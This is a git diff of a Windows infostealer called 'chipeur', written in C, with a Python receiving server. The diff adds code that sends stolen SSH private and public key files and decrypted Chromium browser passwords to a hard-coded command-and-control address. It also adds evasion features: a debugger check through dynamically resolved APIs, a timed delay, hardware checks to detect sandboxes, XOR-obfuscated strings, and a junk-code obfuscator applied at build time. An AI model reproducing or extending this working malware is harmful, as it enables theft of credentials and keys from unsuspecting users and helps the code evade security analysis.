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If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/build.sh b/build.sh new file mode 100644 index 0000000..b3b501c --- /dev/null +++ b/build.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +echo "Compiling junk_code_inserter..." +gcc -o junk_code_inserter src/junk_code_inserter.c -Iinclude -lcrypto || exit 1 + +echo "Applying junk code to modified source files..." +for file in $(git status --porcelain | awk '{print $2}' | grep '^src/.*\.c$' | grep -v 'junk_code_inserter.c'); do + if [[ "$file" != "src/sqlite3.c" && "$file" != "src/aes.c" ]]; then + echo "Processing $file" + ./junk_code_inserter "$file" + else + echo "Skipping $file" + fi +done diff --git a/include/c2.h b/include/c2.h new file mode 100644 index 0000000..6b44404 --- /dev/null +++ b/include/c2.h @@ -0,0 +1,15 @@ +#ifndef C2_H +#define C2_H +#include +#include + +#include "find_ssh_key.h" +#include "logins.h" + +#define C2_IP "192.168.1.17" +#define C2_PORT 1234 + +BOOL send_ssh_key(sshKey[MAX_KEY_FILES], DWORD32, SOCKET *); +BOOL send_credentials(SOCKET *, Credential *, DWORD32); +BOOL connect_to_c2(SOCKET *); +#endif \ No newline at end of file diff --git a/include/chipeur.h b/include/chipeur.h index 857055a..1b3d6b7 100644 --- a/include/chipeur.h +++ b/include/chipeur.h @@ -1 +1,4 @@ -void hello(void); \ No newline at end of file +#ifndef CHIPEUR_H +#define CHIPEUR_H +void hello(void); +#endif \ No newline at end of file diff --git a/include/chromium.h b/include/chromium.h index 7b38b8d..5ab8482 100644 --- a/include/chromium.h +++ b/include/chromium.h @@ -5,6 +5,7 @@ #include #include "logins.h" +#include "obfuscation.h" #define MAX_BROWSER_NAME_SIZE 20 #define MAX_LOGIN_DATA_PATH_SIZE 57 @@ -16,14 +17,14 @@ typedef struct { WCHAR localStatePath[MAX_LOCAL_STATE_PATH_SIZE]; } BrowserInfo; -int steal_chromium_creds(); -static int steal_browser_creds(BrowserInfo browser); -static int retrieve_logins(PWSTR fullPath, int *loginCountOut, +int steal_chromium_creds(Credential *, DWORD32 *); +static int steal_browser_creds(BrowserInfo browser, Credential *, DWORD32 *); +static int retrieve_logins(const PWSTR fullPath, int *loginCountOut, Login *loginsOut[]); static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encryptedKeyOut); static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], - size_t *decodedKeySizeOut); + size_t *decodedKeySizeOut, hidden_apis *apis); static int decrypt_key(BYTE *encryptedKey, size_t encryptedKeySize, - DATA_BLOB *decryptedKeyOut); + DATA_BLOB *decryptedKeyOut, hidden_apis *apis); #endif diff --git a/include/delay_execution.h b/include/delay_execution.h new file mode 100644 index 0000000..2e71a51 --- /dev/null +++ b/include/delay_execution.h @@ -0,0 +1,6 @@ +#ifndef DELAY_EXECUTION_H +#define DELAY_EXECUTION_H + +int delay_execution(int duration); + +#endif diff --git a/include/extract_file.h b/include/extract_file.h index d317578..6c6ffb0 100644 --- a/include/extract_file.h +++ b/include/extract_file.h @@ -1,3 +1,7 @@ +#ifndef EXTRACT_FILE_H +#define EXTRACT_FILE_H #include -void print_file(const PWSTR); \ No newline at end of file +void print_file(const PWSTR); +BOOL is_readable(const PWSTR); +#endif \ No newline at end of file diff --git a/include/find_ssh_key.h b/include/find_ssh_key.h index 156f551..a002058 100644 --- a/include/find_ssh_key.h +++ b/include/find_ssh_key.h @@ -1,3 +1,5 @@ +#ifndef FIND_SSH_KEY_H +#define FIND_SSH_KEY_H #include // Max number of possible ssh keys to dump. @@ -5,9 +7,10 @@ #define MAX_KEY_FILES 30 // Simple structure representing a ssh -typedef struct sshkey { +typedef struct sshKey { PWSTR publicKeyPath; PWSTR secretKeyPath; -} sshkey; +} sshKey; -void find_ssh_key(const PWSTR); \ No newline at end of file +void find_ssh_key(const PWSTR, sshKey[MAX_KEY_FILES], DWORD32 *); +#endif \ No newline at end of file diff --git a/include/hardware_requirements.h b/include/hardware_requirements.h new file mode 100644 index 0000000..3b22fda --- /dev/null +++ b/include/hardware_requirements.h @@ -0,0 +1,11 @@ +#ifndef HARDWARE_REQUIREMENTS_H +#define HARDWARE_REQUIREMENTS_H + +#define EXIT_CPU_FAIL 200 +#define EXIT_RAM_FAIL 201 +#define EXIT_HDD_FAIL 202 +#define EXIT_RESOLUTION_FAIL 203 + +int check_hardware(); + +#endif diff --git a/include/junk_code_inserter.h b/include/junk_code_inserter.h new file mode 100644 index 0000000..98a4f5e --- /dev/null +++ b/include/junk_code_inserter.h @@ -0,0 +1,39 @@ +#ifndef JUNK_CODE_INSERTER_H +#define JUNK_CODE_INSERTER_H + +#include +#include +#include +#include + +// Constants for junk code and control flow obfuscation probabilities +#define MAX_LINE_LENGTH 1024 +#define MAX_OBFUSCATIONS_PER_FUNCTION 1 +#define JUNK_CODE_PROBABILITY 15 +#define CONTROL_FLOW_PROBABILITY 10 +#define OPAQUE_PREDICATE_PROBABILITY 10 + +/** + * @brief Generates random junk code to obfuscate the source code. + * + * @param output The file pointer where the junk code will be written. + */ +void generate_junk_code(FILE *output); + +/** + * @brief Generates random control flow obfuscation to make reverse engineering + * harder. + * + * @param output The file pointer where the control flow obfuscation will be + * written. + */ +void generate_control_flow(FILE *output); + +/** + * @brief Applies junk code and control flow obfuscation to a given source file. + * + * @param file_path The path to the source file to be obfuscated. + */ +void insert_obfuscation(const char *file_path); + +#endif // JUNK_CODE_INSERTER_H diff --git a/include/logins.h b/include/logins.h index bf2a159..8536357 100644 --- a/include/logins.h +++ b/include/logins.h @@ -3,6 +3,8 @@ #include +#define CRED_SIZE 32 + // Encrypted credentials typedef struct { PSTR url; @@ -12,7 +14,6 @@ typedef struct { } Login; // Decrypted `Login` -// mostly used for debug/printing purposes typedef struct { PSTR url; PSTR username; diff --git a/include/obfuscation.h b/include/obfuscation.h index 3888151..c2e7dcb 100644 --- a/include/obfuscation.h +++ b/include/obfuscation.h @@ -1,4 +1,9 @@ +#ifndef OBFUSCATION_H +#define OBFUSCATION_H +#include +#include #include +#include #define XOR_STR(str, size) \ do { \ @@ -13,3 +18,27 @@ (wstr)[i] ^= 42; \ } \ } while (0) + +#define REFKNOWNFOLDERID const KNOWNFOLDERID *__MIDL_CONST + +typedef BOOL(WINAPI *PCheckRemoteDebuggerPresent)(HANDLE hProcess, + PBOOL pbDebuggerPresent); +// typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName); +typedef BOOL(WINAPI *PCryptUnprotectData)(DATA_BLOB *, LPWSTR *, DATA_BLOB *, + void *, void *, DWORD, DATA_BLOB *); +typedef BOOL(WINAPI *PCryptStringToBinaryA)(LPCSTR, DWORD, DWORD, BYTE *, + DWORD *, DWORD *, DWORD *); +// typedef HRESULT(WINAPI *PSHGetKnownFolderPath)(REFKNOWNFOLDERID rfid, DWORD +// dwFlags, HANDLE hToken, PWSTR *ppszPath); + +typedef struct { + PCheckRemoteDebuggerPresent funcCheckRemoteDebuggerPresent; + // PLoadLibraryA funcLoadLibraryA; + PCryptUnprotectData funcCryptUnprotectData; + PCryptStringToBinaryA funcCryptStringToBinaryA; + // PSHGetKnownFolderPath funcSHGetKnownFolderPath; +} hidden_apis; + +void resolve_apis(hidden_apis *apis); + +#endif // OBFUSCATION_H diff --git a/junk_code_inserter b/junk_code_inserter new file mode 100644 index 0000000..6964a00 Binary files /dev/null and b/junk_code_inserter differ diff --git a/makefile b/makefile index e29e16e..48d8b85 100644 --- a/makefile +++ b/makefile @@ -4,7 +4,7 @@ INCLUDE_DIR = include/ OBJ_DIR = obj/ # add the object file used here -OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o +OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)hardware_requirements.o $(OBJ_DIR)delay_execution.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o $(OBJ_DIR)c2.o CC=x86_64-w64-mingw32-gcc CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-dereference \ @@ -12,7 +12,7 @@ CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-deref #not needed for now LDFLAGS =# -Wl,--strip-all -LLIB= -luuid -lole32 -lcrypt32 +LLIB= -luuid -lole32 -lws2_32 DEBUG=-DDEBUG .PHONY : all help clean @@ -27,6 +27,9 @@ all: chipeur.exe $(OBJ_DIR)chipeur.o: $(SRC_DIR)chipeur.c $(INCLUDE_DIR)chipeur.h $(INCLUDE_DIR)find_ssh_key.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ +$(OBJ_DIR)c2.o: $(SRC_DIR)c2.c $(INCLUDE_DIR)c2.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + $(OBJ_DIR)find_ssh_key.o : $(SRC_DIR)find_ssh_key.c $(INCLUDE_DIR)find_ssh_key.h $(INCLUDE_DIR)extract_file.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ @@ -45,6 +48,12 @@ $(OBJ_DIR)path.o : $(SRC_DIR)path.c $(INCLUDE_DIR)path.h $(OBJ_DIR)logins.o : $(SRC_DIR)logins.c $(INCLUDE_DIR)logins.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ +$(OBJ_DIR)delay_execution.o : $(SRC_DIR)delay_execution.c $(INCLUDE_DIR)delay_execution.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + +$(OBJ_DIR)hardware_requirements.o : $(SRC_DIR)hardware_requirements.c $(INCLUDE_DIR)hardware_requirements.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + $(OBJ_DIR)sqlite3.o : $(SRC_DIR)sqlite3.c $(INCLUDE_DIR)sqlite3.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ diff --git a/obj/.gitkeep b/obj/.gitkeep deleted file mode 100644 index 8b13789..0000000 --- a/obj/.gitkeep +++ /dev/null @@ -1 +0,0 @@ - diff --git a/server/simple_serv.py b/server/simple_serv.py new file mode 100644 index 0000000..589031e --- /dev/null +++ b/server/simple_serv.py @@ -0,0 +1,132 @@ +import socket +import os +import time +import threading + +def createpath(username: str, datatype: str): + """ create the folder to store the data ./username/datatype """ + try : + os.mkdir(username) + except FileExistsError: + print(f"DEBUG: {username} directory already exists.") + # except: + # print(f"DEBUG: Error while creating the {username} directory. Abort") + # return + + + path = os.path.join(username,datatype) + try : + os.mkdir(path) + except FileExistsError: + print(f"DEBUG: {path} directory already exists.") + + return path + +def savefile(username: str, datatype: str, filename: str, client: socket.socket): + """ create and write a file in the directory ./username/file/""" + + path = createpath(username, datatype) + + # creating a unique file to avoid overwriting + path = os.path.join(path, str(int(time.time())) + "_" + filename) + fic = open(path, "w") + ch = client.recv(9).decode() + # ending condition, chipeur client allways send it + while ch[-9:] != "[RUEPIHC]": + try: + cur_c = client.recv(1).decode() + ch += cur_c + except: + fic.write(ch) + fic.close() + return + ch = ch[:-9] + print(f"DEBUG: Writing '{path}' file") + fic.write(ch) + fic.close() + +def savecreds(username: str, datatype: str, client: socket.socket): + """ create and write a file in the directory ./username/file/ """ + path = createpath(username, datatype) + path = os.path.join(path, "creds_" + str(int(time.time()))) + fic = open(path, "w") + ch = client.recv(9).decode("utf-8") + # ending condition, chipeur client allways send it + while ch[-9:] != "[RUEPIHC]": + try: + cur_c = client.recv(1).decode("utf-8") + ch += cur_c + except: + fic.write(ch) + fic.close() + return + ch = ch[:-9] + print(f"DEBUG: Writing '{path}' file") + fic.write(ch) + fic.close() + + +def read_bytes_until_next_pipe(client: socket.socket): + """ this function is used to parse the chipeur request and gather the information of the request """ + ch = b"" + cur_c = b"" + while cur_c != b"|": + cur_c = client.recv(1) + ch += cur_c + + # we return the data before the pipe + return ch[:-1] + +def handle_client(client_socket, addr): + print(f"Connection from {addr}") + try: + while True: + # should read [CHIPEUR] + chipeur = read_bytes_until_next_pipe(client_socket).decode("utf-8") + print(chipeur) + if "[CHIPEUR]" not in chipeur: + client_socket.close() + break + + username = read_bytes_until_next_pipe(client_socket)[:-1].decode("utf-16-be") + print(username) + + datatype = read_bytes_until_next_pipe(client_socket).decode("utf-8") + print(datatype) + + # only two datatypes possible + if datatype == "file": + filename = read_bytes_until_next_pipe(client_socket)[:-1].decode("utf-16-be") + print(filename) + savefile(username, datatype, filename, client_socket) + + if datatype == "credentials": + savecreds(username, datatype, client_socket) + + except UnicodeDecodeError as error: + print(f"DEBUG: Connection closed: {error}") + except ConnectionResetError as error: + print(f"DEBUG: Connection closed: {error}") + except TimeoutError as error: + print(f"DEBUG: Connection closed: {error}") + client_socket.close() + +def start_server(host='0.0.0.0', port=1234): + # Create a socket object + server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # Bind the socket to the address and port + server_socket.bind((host, port)) + + # Listen for incoming connections + server_socket.listen(1) + print(f"Listening on {host}:{port}...") + + while True: + # Accept a connection + client_socket, addr = server_socket.accept() + th = threading.Thread(target=handle_client, args=(client_socket, addr)) + th.start() + +if __name__ == "__main__": + start_server() diff --git a/src/c2.c b/src/c2.c new file mode 100644 index 0000000..2428c46 --- /dev/null +++ b/src/c2.c @@ -0,0 +1,281 @@ +#include "c2.h" + +#include +#include +#include +#include +#include +#include +#include + +#include "extract_file.h" +#include "find_ssh_key.h" +#include "logins.h" +#include "obfuscation.h" + +BOOL connect_to_c2(SOCKET *sock) { + // Create the socket and establish the connection to the C2 server. + + int err; + // loading winsocket.dll + WSADATA wsaData = {0}; + err = WSAStartup(MAKEWORD(2, 2), &wsaData); + if (err != 0) { +#ifdef DEBUG + printf( + "DEBUG: connect_to_c2: Error while loading winsocker.dll: Error %d\n", + err); +#endif + return FALSE; + } + + // Creating the socket + *sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (*sock == INVALID_SOCKET) { + err = WSAGetLastError(); +#ifdef DEBUG + printf("DEBUG: connect_to_c2: Error while creating the socket: Error %d\n", + err); +#endif + return FALSE; + } + + // Creating the client + SOCKADDR_IN client; + client.sin_family = AF_INET; + client.sin_addr.S_un.S_addr = inet_addr(C2_IP); + client.sin_port = htons(C2_PORT); + + // connecting to the c2 server + err = connect(*sock, (SOCKADDR *)&client, sizeof(client)); + if (err == SOCKET_ERROR) { +#ifdef DEBUG + printf("DEBUG: connect_to_c2: Error while creating the client: Error %d\n", + WSAGetLastError()); +#endif + return FALSE; + } +#ifdef DEBUG + printf("INFO: connect_to_c2: Successfully connected to the c2 server\n"); +#endif + return TRUE; +} + +static BOOL close_c2_conn(SOCKET *sock) { + // closing the server + int err = closesocket(*sock); + if (err == SOCKET_ERROR) { +#ifdef DEBUG + printf( + "DEBUG: close_c2_conn: Error while closing the connection: Error %d\n", + WSAGetLastError()); +#endif + return FALSE; + } + return TRUE; +} + +static PWSTR get_username_machinename(void) { + // 'username@machinename' is the header of a message to the C2 + // the caller shall free the PWSTR returned + int err; + WCHAR machineName[MAX_COMPUTERNAME_LENGTH + 1] = {0}; + DWORD lenMachineName = MAX_COMPUTERNAME_LENGTH + 1; + WCHAR userName[UNLEN + 1] = {0}; + DWORD lenUserName = UNLEN + 1; + WCHAR fullName[UNLEN + MAX_COMPUTERNAME_LENGTH + 1 + 1] = {0}; + DWORD lenFullName = UNLEN + MAX_COMPUTERNAME_LENGTH + 1 + 1; + + err = GetComputerNameW(machineName, &lenMachineName); + if (err == 0) { +#ifdef DEBUG + printf("DEBUG: get_header: Error while getting the machine name. %d\n", + GetLastError()); +#endif + } + err = GetUserNameW(userName, &lenUserName); + if (err == 0) { +#ifdef DEBUG + printf("DEBUG: get_header: Error while getting the username. %d\n", + GetLastError()); +#endif + } + + // computing the full header + int realSize = + _snwprintf(fullName, lenFullName, L"%ls@%ls", userName, machineName); + if (realSize == -1) { +#ifdef DEBUG + fprintf(stderr, + "DEBUG: get_header: Error while creating the header username\n"); +#endif + return NULL; + } + + PWSTR header = _wcsdup(fullName); + if (header == NULL) { +#ifdef DEBUG + fprintf(stderr, + "DEBUG: get_header: Error while allocating the header username\n"); +#endif + } + + return header; +} + +static BOOL send_file(const PWSTR filename, SOCKET *sock) { + // Open the designated file and sent it to the c2 server via the socket sock + HANDLE hFile; + DWORD bytesRead; + char buffer[1024]; // Size of the buffer + BOOL result; + + // Open the file in reading mode + hFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, NULL); + + if (hFile == INVALID_HANDLE_VALUE) { +#ifdef DEBUG + wprintf(L"DEBUG: send_file: Error, couldn't open %ls file.\n", filename); +#endif + return FALSE; + } +#ifdef DEBUG + wprintf(L"DEBUG: send_file: Opening '%ls' file.\n", filename); +#endif + // reading 1024 bytes block + do { + result = ReadFile(hFile, buffer, sizeof(buffer), &bytesRead, NULL); + if (!result || bytesRead == 0) { + break; + } + + int err = send(*sock, buffer, bytesRead, 0); + if (err == SOCKET_ERROR) { +#ifdef DEBUG + fwprintf(stderr, + L"DEBUG: send_file: Error, couldn't send a part of the file " + L"%ls: %d\n", + filename, GetLastError()); +#endif + return FALSE; + } + + } while (bytesRead > 0); + + CloseHandle(hFile); + return TRUE; +} + +BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, + SOCKET *sock) { + /* + Try to send all the ssh key files. If all the files are sent successfully, it + returns TRUE. Otherwise, it returns FALSE. The sent format for ssh key file is + the following : + [CHIPEUR]|@|file||[RUEPIHC] + */ + PWSTR userMachineName = get_username_machinename(); + char datatype[] = "|file|"; + + BOOL success = TRUE; + for (DWORD32 i = 0; i < lenKeysTab; i++) { + // Checking first if the file is readable + if (is_readable(keysTab[i].publicKeyPath)) { + int err = send(*sock, "[CHIPEUR]|", 11, 0); + err = err | send(*sock, (char *)userMachineName, + wcslen(userMachineName) * 2, 0); + err = err | send(*sock, datatype, 7, 0); + err = err | send(*sock, (char *)keysTab[i].publicKeyPath, + wcslen(keysTab[i].publicKeyPath) * 2, 0); + err = err | send(*sock, "|", 1, 0); + success = send_file(keysTab[i].publicKeyPath, sock); + err = err | send(*sock, "[RUEPIHC]\n", 10, 0); + + if (err == SOCKET_ERROR && !success) { +#ifdef DEBUG + fwprintf( + stderr, + L"DEBUG: send_ssh_key: error while sending '%ls' file: code %d", + keysTab[i].publicKeyPath, GetLastError()); +#endif + free(userMachineName); + return FALSE; + } + } + // Doing the same but for the secret key filename + if (is_readable(keysTab[i].secretKeyPath)) { + int err = send(*sock, "[CHIPEUR]|", 11, 0); + err = err | send(*sock, (char *)userMachineName, + wcslen(userMachineName) * 2, 0); + err = err | send(*sock, datatype, 7, 0); + err = err | send(*sock, (char *)keysTab[i].secretKeyPath, + wcslen(keysTab[i].secretKeyPath) * 2, 0); + err = err | send(*sock, "|", 1, 0); + success = send_file(keysTab[i].secretKeyPath, sock); + err = err | send(*sock, "[RUEPIHC]\n", 10, 0); + + if (err == SOCKET_ERROR && !success) { +#ifdef DEBUG + fwprintf( + stderr, + L"DEBUG: send_ssh_key: error while sending '%ls' file: code %d", + keysTab[i].secretKeyPath, GetLastError()); +#endif + free(userMachineName); + return FALSE; + } + } + } + + free(userMachineName); + return success; +} + +BOOL send_credentials(SOCKET *sock, Credential *credTab, DWORD32 lenCredTab) { + // Function that send the credentials to the c2 server + // [CHIPEUR]|@|credentials|url1,username1,password1\n...\nurlN,usernameN,passwordN[RUEPIHC] + PWSTR userMachineName = get_username_machinename(); + char datatype[] = "|credentials|"; + int err = send(*sock, "[CHIPEUR]|", 11, 0); + err = err | + send(*sock, (char *)userMachineName, wcslen(userMachineName) * 2, 0); + err = err | send(*sock, datatype, 14, 0); + + for (DWORD i = 0; i < lenCredTab; i++) { + char *credToSend = NULL; + DWORD32 lenCredToSend = strlen(credTab[i].url) + + strlen(credTab[i].username) + + strlen(credTab[i].password) + 4; + credToSend = malloc(sizeof(char) * (lenCredToSend + 1)); + credToSend[lenCredToSend] = 0; + if (credToSend == NULL) { +#ifdef DEBUG + fwprintf( + stderr, + L"DEBUG: send_credentials: Couldn't allocate credentials to send\n"); +#endif + break; + } + + snprintf(credToSend, lenCredToSend, "%s,%s,%s\n", credTab[i].url, + credTab[i].username, credTab[i].password); + err = err | send(*sock, credToSend, lenCredToSend, 0); + free(credToSend); + } + + // sending the tail of the request + err = send(*sock, "[RUEPIHC]\n", 11, 0); + if (err == SOCKET_ERROR) { +#ifdef DEBUG + fprintf(stderr, + "DEBUG: send_credentials: Error while sending the credentials: %d", + GetLastError()); + return FALSE; +#endif + } +#ifdef DEBUG + printf("DEBUG: send_credentials: Credentials sent successfully\n"); +#endif + return TRUE; +} \ No newline at end of file diff --git a/src/chipeur.c b/src/chipeur.c index 5ed3cd9..e4c9a59 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -2,11 +2,18 @@ #include #include +#include #include #include +#include +#include +#include "c2.h" #include "chromium.h" +#include "delay_execution.h" #include "find_ssh_key.h" +#include "hardware_requirements.h" +#include "logins.h" #include "obfuscation.h" int main(void) { @@ -15,35 +22,100 @@ int main(void) { // Allows us to print non-ASCII characters for debug SetConsoleOutputCP(CP_UTF8); #endif + + // Init + hidden_apis apis = {0}; + resolve_apis(&apis); // Check if a debugger is attached to the process BOOL isDebuggerPresent = FALSE; HANDLE hProcess = GetCurrentProcess(); - if (CheckRemoteDebuggerPresent(hProcess, &isDebuggerPresent)) { - if (isDebuggerPresent) { + if (apis.funcCheckRemoteDebuggerPresent) { + if (apis.funcCheckRemoteDebuggerPresent(hProcess, &isDebuggerPresent)) { + if (isDebuggerPresent) { +#ifdef DEBUG + printf("Un débogueur est détecté sur ce processus.\n"); +#endif + while (1); + } else { #ifdef DEBUG - printf("Un débogueur est détecté sur ce processus.\n"); + printf("Debug program detected on the process.\n"); #endif - while (1); + } } else { #ifdef DEBUG - printf("Aucun débogueur n'est détecté sur ce processus.\n"); + printf("Error on CheckRemoteDebuggerPresent call. Error code : %lu\n", + GetLastError()); #endif } } else { #ifdef DEBUG - printf( - "Erreur lors de l'appel à CheckRemoteDebuggerPresent. Code d'erreur : " - "%lu\n", - GetLastError()); + printf("DEBUG: main: CheckRemoteDebuggerPresent failed. Error : %lu\n", + GetLastError()); +#endif + } + + // 1 minute + if (delay_execution(60000) == EXIT_FAILURE) { +#ifdef DEBUG + fprintf(stderr, "Timing inconsistencies while delaying execution"); +#endif + return EXIT_FAILURE; + } + + // Stop if sandbox detected + int return_code = check_hardware(); + if (return_code != EXIT_SUCCESS) { +#ifdef DEBUG + fprintf(stderr, "Hardware requirements check failed. Reason: "); + switch (return_code) { + case EXIT_CPU_FAIL: fprintf(stderr, "CPU check failed.\n"); break; + case EXIT_RAM_FAIL: fprintf(stderr, "RAM check failed.\n"); break; + case EXIT_HDD_FAIL: fprintf(stderr, "HDD check failed.\n"); break; + case EXIT_RESOLUTION_FAIL: + fprintf(stderr, "Resolution check failed.\n"); + break; + default: fprintf(stderr, "Unknown check failed.\n"); break; + } + fprintf(stderr, "Now exiting..."); #endif + return EXIT_FAILURE; } + // char msvcrt_str[] = "\x47\x59\x5c\x49\x58\x5e\x04\x4e\x46\x46"; + // XOR_STR(msvcrt_str, strlen(msvcrt_str)); + // apis.funcLoadLibraryA(msvcrt_str); - steal_chromium_creds(); + Credential credTab[CRED_SIZE] = {0}; + DWORD32 lenCredTab = 0; + sshKey keysFilenamesTab[MAX_KEY_FILES] = {0}; + DWORD32 lenKeysTab = 0; + steal_chromium_creds(credTab, &lenCredTab); wchar_t users_path[] = L"\x69\x10\x76\x7f\x59\x4f\x58\x59"; // C:\Users XOR_STR(users_path, 8); + find_ssh_key(users_path, keysFilenamesTab, &lenKeysTab); + + for (int i = 0; i < lenCredTab; i++) { + printCredential(credTab[i]); + } - find_ssh_key(users_path); + SOCKET sock; + BOOL success = connect_to_c2(&sock); + if (success == 0) { + exit(-1); + } + + success = send_ssh_key(keysFilenamesTab, lenKeysTab, &sock); +#ifdef DEBUG + if (success) { + printf("DEBUG: main: Info, ssh keys sent with success\n"); + } +#endif + success = send_credentials(&sock, credTab, lenCredTab); +#ifdef DEBUG + if (success) { + printf("DEBUG: main: Info, creds sent with success\n"); + } +#endif return EXIT_SUCCESS; } diff --git a/src/chromium.c b/src/chromium.c index 6312f2e..d04cb57 100644 --- a/src/chromium.c +++ b/src/chromium.c @@ -6,7 +6,6 @@ #include "chromium.h" -#include #include #include #include @@ -35,13 +34,17 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) { CreateFileW(localStatePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (fileHandle == INVALID_HANDLE_VALUE) { +#ifdef DEBUG printf("Failed to open file. Error code: %lu\n", GetLastError()); +#endif return EXIT_FAILURE; } DWORD fileSize = GetFileSize(fileHandle, NULL); if (fileSize == INVALID_FILE_SIZE) { +#ifdef DEBUG printf("Failed to get file size. Error code: %lu\n", GetLastError()); +#endif CloseHandle(fileHandle); return EXIT_FAILURE; } @@ -49,7 +52,9 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) { // characters in the file are encoded in UTF-8, no need for wide characters PSTR fileBuffer = (PSTR)malloc(fileSize + 1); if (!fileBuffer) { +#ifdef DEBUG printf("Failed to allocate memory for file buffer.\n"); +#endif CloseHandle(fileHandle); return EXIT_FAILURE; } @@ -57,7 +62,9 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) { DWORD bytesRead; if (!ReadFile(fileHandle, fileBuffer, fileSize * sizeof(char), &bytesRead, NULL)) { +#ifdef DEBUG printf("Failed to read file. Error code: %lu\n", GetLastError()); +#endif free(fileBuffer); CloseHandle(fileHandle); return EXIT_FAILURE; @@ -106,28 +113,34 @@ static int retrieve_encoded_key(PWSTR localStatePath, PSTR *encodedKeyOut) { // note that `decodedKeyOut` is still encrypted at this point // NOTE: `decodedKeyOut` must be freed by the caller static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], - size_t *decodedKeySizeOut) { + size_t *decodedKeySizeOut, hidden_apis *apis) { // Get size of the decoded key (needed for the next malloc) DWORD decodedBinarySize = 0; - if (!CryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, NULL, - &decodedBinarySize, NULL, NULL)) { + if (!apis->funcCryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, NULL, + &decodedBinarySize, NULL, NULL)) { +#ifdef DEBUG fprintf(stderr, "Failed getting base64 size. Error code: %lu\n", GetLastError()); +#endif return EXIT_FAILURE; } BYTE *decodedBinaryData = (BYTE *)malloc(decodedBinarySize); if (decodedBinaryData == NULL) { +#ifdef DEBUG fprintf(stderr, "Failed allocating memory\n"); +#endif return EXIT_FAILURE; } // Decode the encoded key, this leaves us with an AES-GCM encrypted key - if (!CryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, - decodedBinaryData, &decodedBinarySize, NULL, - NULL)) { + if (!apis->funcCryptStringToBinaryA(encodedKey, 0, CRYPT_STRING_BASE64, + decodedBinaryData, &decodedBinarySize, + NULL, NULL)) { +#ifdef DEBUG fprintf(stderr, "Failed decoding base64. Error code: %lu\n", GetLastError()); +#endif free(decodedBinaryData); return EXIT_FAILURE; } @@ -140,7 +153,9 @@ static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], *decodedKeyOut = (BYTE *)realloc(decodedBinaryData, newSize); if (*decodedKeyOut == NULL) { +#ifdef DEBUG fprintf(stderr, "Failed reallocating memory\n"); +#endif free(decodedBinaryData); return EXIT_FAILURE; } @@ -153,15 +168,18 @@ static int decode_key(PSTR encodedKey, BYTE *decodedKeyOut[], // Decrypts `encryptedKey` of size `encryptedKeySize` using DPAPI // NOTE: `decryptedKeyOut` must be freed by the caller static int decrypt_key(BYTE encryptedKey[], size_t encryptedKeySize, - DATA_BLOB *decryptedKeyOut) { + DATA_BLOB *decryptedKeyOut, hidden_apis *apis) { DATA_BLOB DataInput; DATA_BLOB DataOutput; DataInput.cbData = (DWORD)encryptedKeySize; DataInput.pbData = encryptedKey; - if (!CryptUnprotectData(&DataInput, NULL, NULL, NULL, NULL, 0, &DataOutput)) { + if (!apis->funcCryptUnprotectData(&DataInput, NULL, NULL, NULL, NULL, 0, + &DataOutput)) { +#ifdef DEBUG fprintf(stderr, "Failed decrypting key. Error code: %lu\n", GetLastError()); +#endif free(encryptedKey); return EXIT_FAILURE; } @@ -176,7 +194,8 @@ static int decrypt_key(BYTE encryptedKey[], size_t encryptedKeySize, } // Steals credentials for a singular `browser` -static int steal_browser_creds(BrowserInfo browser) { +static int steal_browser_creds(BrowserInfo browser, Credential *credTab, + DWORD32 *indexCredTab) { // login data contains each logins with the password encrypted and other // attributes in clear text @@ -188,20 +207,15 @@ static int steal_browser_creds(BrowserInfo browser) { #ifdef DEBUG wprintf(L"steal_browser-creds - Values after XOR : %ls, %ls, %ls\n", browser.browserName, browser.loginDataPath, browser.localStatePath); -#endif wprintf(L"Browser name = %ls\n", browser.browserName); - // wprintf(L"Login data path = %ls\n", browser.loginDataPath); - // wprintf(L"Local state path = %ls\n", browser.localStatePath); - /* - printf("\nName : %llu\n", wcslen(browser.browserName)); - printf("Data path : %llu\n", 